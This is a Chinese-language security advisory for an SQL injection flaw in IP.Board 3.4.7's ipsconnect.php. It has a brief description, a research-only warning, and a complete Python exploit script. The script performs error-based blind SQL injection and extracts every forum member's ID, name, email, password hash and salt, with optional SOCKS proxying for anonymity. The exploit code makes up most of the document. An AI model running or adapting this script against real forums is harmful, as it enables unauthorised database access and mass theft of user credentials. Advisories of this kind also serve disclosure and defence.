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安全漏洞
IP.Board 'ipsconnect.php' SQL注入漏洞

发布日期:2014-11-08
更新日期:2014-11-18

受影响系统:
Invision Power Board Invision Power Board
描述:
BUGTRAQ  ID: 70994

IP.Board是由PHP+MySQL架构的论坛程序。

IP.Board 3.4.7及其他版本没有有效过滤ipsconnect.php内的用户数据,在实现上存在sql注入漏洞,攻击者可利用此漏洞执行未授权数据库操作。

<*来源:secthrowaway
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

secthrowaway ()提供了如下测试方法:

#!/usr/bin/env python
# Sunday, November 09, 2014 - secthrowaway () safe-mail net
# IP.Board <= 3.4.7 SQLi (blind, error based);
# you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable

url = 'http://target.tld/forum/'
ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"

import sys, re

# <socks> - http://sourceforge.net/projects/socksipy/
#import socks, socket
#socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
#socket.socket = socks.socksocket
# </socks>

import urllib2, urllib

def inject(sql):
    try:
        urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' % url, data="act=login&idType=id&id[]=-1&id[]=%s" % urllib.quote('-1) and 1!="\'" and extractvalue(1,concat(0x3a,(%s)))#\'' % sql), headers={"User-agent": ua}))
    except urllib2.HTTPError, e:
        if e.code == 503:
            data = urllib2.urlopen(urllib2.Request('%scache/sql_error_latest.cgi' % url, headers={"User-agent": ua})).read()
            txt = re.search("XPATH syntax error: ':(.*)'", data, re.MULTILINE)
            if txt is not None:
                return txt.group(1)
            sys.exit('Error [3], received unexpected data:\n%s' % data)
        sys.exit('Error [1]')
    sys.exit('Error [2]')

def get(name, table, num):
    sqli = 'SELECT %s FROM %s LIMIT %d,1' % (name, table, num)
    s = int(inject('LENGTH((%s))' % sqli))
    if s < 31:
        return inject(sqli)
    else:
        r = ''
        for i in range(1, s+1, 31):
            r += inject('SUBSTRING((%s), %i, %i)' % (sqli, i, 31))
        return r

n = inject('SELECT COUNT(*) FROM members')
print '* Found %s users' % n
for j in range(int(n)):    
    print get('member_id', 'members', j)
    print get('name', 'members', j)
    print get('email', 'members', j)
    print get('CONCAT(members_pass_hash, 0x3a, members_pass_salt)', 'members', j)
    print '----------------'

建议:
厂商补丁:

Invision Power Board
--------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.invisionpower.com/

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